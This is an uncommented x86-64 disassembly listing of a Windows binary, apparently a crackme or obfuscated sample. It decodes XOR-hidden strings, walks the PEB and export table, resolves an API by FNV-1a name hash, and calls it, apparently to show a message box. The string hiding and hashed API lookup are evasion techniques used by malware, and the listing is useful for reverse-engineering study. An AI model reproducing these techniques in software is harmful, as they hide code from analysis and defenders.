pxor xmm1, xmmword [rbp + 0xb0]
movdqa xmmword [rbp + 0x40], xmm1
mov r9d, 0x1010
mov r8, rax
lea rdx, [rbp + 0x30]
xor ecx, ecx
call rbx
nop
lea rcx, [rbp + 0x100]
call fcn.1400096e0
xor edx, edx
mov rcx, qword [rsp + 0x38]
call fcn.14000c0b0
nop
lea rcx, [rbp + 0x10]
call fcn.1400096e0
nop
lea rcx, [rbp + 0x200]
call fcn.1400096e0
mov rax, qword [rsp + 0x38]
jmp 0x140049762
mov rax, qword [0x1402a7490]
cmp r15, 0x10
lea rdx, [0x1402a7480]
cmovae rdx, r14
cmp r13, 0x10
lea rcx, [0x1402a73e0]
cmovae rcx, r12
cmp rsi, rax
jne 0x14004972e
mov r8, rsi
call fcn.1400b75e0
test eax, eax
jne 0x14004972e
movabs rax, 0x53991e5ac042f060
mov qword [rbp - 0x60], rax
movabs rax, 0xc6a4f246f93ab558
mov qword [rbp - 0x58], rax
movabs r14, 0x32fa7734a8219534
mov qword [rbp - 0x70], r14
movabs rsi, 0xc6a49934964d9534
mov qword [rbp - 0x68], rsi
movdqa xmm0, xmmword [rbp - 0x60]
pxor xmm0, xmmword [rbp - 0x70]
movdqa xmmword [rbp - 0x60], xmm0
lea rax, [rbp - 0x60]
nop dword [rax]
inc rdi
cmp byte [rax + rdi], 0
jne 0x140049530
cmp qword [0x1402a7418], 0x10
lea rax, [0x1402a7400]
cmovae rax, qword [0x1402a7400]
cmp rbx, rdi
jne 0x14004972e
mov r8, rbx
lea rdx, [rbp - 0x60]
mov rcx, rax
call fcn.1400b75e0
test eax, eax
jne 0x14004972e
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140049606
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140049606
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
mov r8d, 0x811c9dc5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140049601
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x1400495e0
cmp r8d, 0x23a979e4
je 0x14004960b
test r9d, r9d
jne 0x1400495c0
mov rax, qword [rax]
jmp 0x140049590
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov ebx, dword [rcx + rax*4]
add rbx, r10
mov edx, 0x10
lea rcx, [rbp + 0xa0]
call fcn.1400963c0
nop
cmp qword [rax + 0x18], 0x10
jb 0x14004963e
mov rax, qword [rax]
movabs rcx, 0x5bda0551cc40fa78
mov qword [rbp + 0x50], rcx
movabs rcx, 0xa8c1eb46e32eb547
mov qword [rbp + 0x58], rcx
movabs rcx, 0x7b4c4d5b9410f940
mov qword [rbp + 0x60], rcx
movabs rcx, 0xdb0cd65d125df651
mov qword [rbp + 0x68], rcx
movabs rcx, 0x4804a15f7f5ee214
mov qword [rbp + 0x70], rcx
movabs rcx, 0xdbaeb134fb5d9534
mov qword [rbp + 0x78], rcx
mov qword [rbp + 0x240], r14
mov qword [rbp + 0x248], rsi
movabs rdx, 0xf6c2334b4699534
mov qword [rbp + 0x250], rdx
movabs r8, 0xb76db5347c359534
mov qword [rbp + 0x258], r8
movabs rdx, 0x48048f340d319534
mov qword [rbp + 0x260], rdx
mov qword [rbp + 0x268], rcx
movdqa xmm0, xmmword [rbp + 0x50]
pxor xmm0, xmmword [rbp + 0x240]
movdqa xmmword [rbp + 0x50], xmm0
movdqa xmm1, xmmword [rbp + 0x60]
pxor xmm1, xmmword [rbp + 0x250]
movdqa xmmword [rbp + 0x60], xmm1
movdqa xmm0, xmmword [rbp + 0x70]
pxor xmm0, xmmword [rbp + 0x260]
movdqa xmmword [rbp + 0x70], xmm0
mov r9d, 0x1010
mov r8, rax
lea rdx, [rbp + 0x50]
xor ecx, ecx
call rbx
nop
lea rcx, [rbp + 0xa0]
jmp 0x14004946e
mov rbx, qword [rsp + 0x38]
xor eax, eax
movups xmm0, xmmword [rbp + 0x10]
movups xmmword [rbx], xmm0
movups xmm1, xmmword [rbp + 0x20]
movups xmmword [rbx + 0x10], xmm1
mov qword [rbp + 0x20], rax
mov qword [rbp + 0x28], 0xf
mov byte [rbp + 0x10], al
lea rcx, [rbp + 0x200]
call fcn.1400096e0
mov rax, rbx
mov rcx, qword [rbp + 0x5c0]
xor rcx, rsp
call fcn.14009a9c0
lea r11, [rsp + 0x6d0]
mov rbx, qword [r11 + 0x38]
mov rsi, qword [r11 + 0x40]
mov rdi, qword [r11 + 0x48]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
call fcn.1400c88c8
nop
call fcn.140001790
nop
call fcn.140001790
nop
call fcn.1400c88c8
nop
call fcn.1400c88c8
nop
call fcn.1400c88c8
nop
call fcn.1400c88c8
int3
call fcn.1400c88c8
int3
call fcn.1400c88c8
nop
call fcn.1400c88c8
nop
call fcn.1400c88c8
nop
call fcn.1400c88c8
nop
call fcn.1400c88c8
nop
call fcn.140001830
nop
call fcn.140001830
nop
call fcn.140001790
int3
call fcn.1400c88c8
nop
call fcn.140001790
int3
call fcn.1400c88c8
nop
call fcn.1400c88c8
nop
call fcn.1400c88c8
nop
call fcn.1400c88c8
nop
call fcn.1400c88c8
nop
call fcn.1400c88c8
int3